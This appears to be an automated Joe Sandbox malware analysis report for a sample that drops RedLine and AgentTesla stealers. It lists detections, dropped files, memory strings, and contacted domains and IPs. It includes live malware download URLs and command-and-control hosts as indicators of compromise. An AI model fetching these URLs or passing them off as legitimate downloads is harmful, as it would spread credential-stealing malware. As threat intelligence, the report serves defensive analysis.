C:\Users\user\AppData\Local\Temp\82DC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8039.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hrgjvbv	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9D57.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B8B0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\argjvbv	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8039.exe	36%	ReversingLabs	Win32.Trojan.RedLineSteal
C:\Users\user\AppData\Local\Temp\82DC.exe	54%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\9D57.exe	74%	ReversingLabs	Win32.Trojan.Krypter
C:\Users\user\AppData\Local\Temp\B8B0.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\B8B0.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\argjvbv	74%	ReversingLabs	Win32.Trojan.Krypter

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.0.hrgjvbv.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.y4oMrtO1Mt.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
23.2.9D57.exe.5d0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
27.0.610B.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
29.0.82DC.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
13.0.F72D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.82DC.exe.9d0000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
32.1.argjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.y4oMrtO1Mt.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
12.2.F72D.exe.2bd15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.F72D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.argjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.argjvbv.5c0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.F72D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.3.9D57.exe.5e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.9D57.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.F72D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
10.2.hrgjvbv.2bd15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.y4oMrtO1Mt.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
27.0.610B.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
13.1.F72D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.y4oMrtO1Mt.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.y4oMrtO1Mt.exe.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.82DC.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
11.1.hrgjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.82DC.exe.9d0000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
27.0.610B.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
11.2.hrgjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
29.0.82DC.exe.9d0000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
27.0.610B.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
11.0.hrgjvbv.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.y4oMrtO1Mt.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.hrgjvbv.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.3.argjvbv.5d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.1.9D57.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://privacytoolzforyou7000.top/downloads/toolspab2.exe	12%	Virustotal		Browse
http://privacytoolzforyou7000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://host-host-file6.com/files/7993_1636371023_9825.exe	15%	Virustotal		Browse
http://host-host-file6.com/files/7993_1636371023_9825.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/DetailsDataSet1.xsd	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://tempuri.org/t	1%	Virustotal		Browse
http://tempuri.org/t	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/X	0%	Virustotal		Browse
http://tempuri.org/X	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://service.r	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
host-host-file6.com	47.74.84.15	true	false	high
hajezey10.top	47.74.84.15	true	false	high
escalivrouter.net	192.42.116.41	true	false	high
cdn.discordapp.com	162.159.134.233	true	false	high
nalirou70.top	47.74.84.15	true	false	high
nusurtal4f.net	45.141.84.21	true	false	high
privacytoolzforyou7000.top	47.74.84.15	true	false	high
netomishnetojuk.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://privacytoolzforyou7000.top/downloads/toolspab2.exe	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://host-host-file6.com/files/7993_1636371023_9825.exe	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, B8B0.exe, 00000018.00000002.954057953.0000000003041000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, 8039.exe, 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, 82DC.exe, 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	AdvancedRun.exe.24.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault$	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://nvidia.custhelp.com/app/answers/detail/a_id/3553	8039.exe, 00000014.00000002.860118646.0000000002F03000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://tempuri.org/DetailsDataSet1.xsd	B8B0.exe.5.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id10Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://ocsp.sectigo.com0	59B4.exe.5.dr	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/t	610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://get.adob	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/X	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id3Response	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://service.r	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id8	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	false
47.74.84.15	host-host-file6.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
45.9.20.149	unknown	Russian Federation	35913	DEDIPATH-LLCUS	false
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	518780
Start date:	09.11.2021
Start time:	22:19:09
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	y4oMrtO1Mt.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/14@38/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 78.7% (good quality ratio 71.5%) Quality average: 70% Quality standard deviation: 31.7%
HCA Information:	Successful, ratio: 87% Number of executed functions: 252 Number of non-executed functions: 179
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
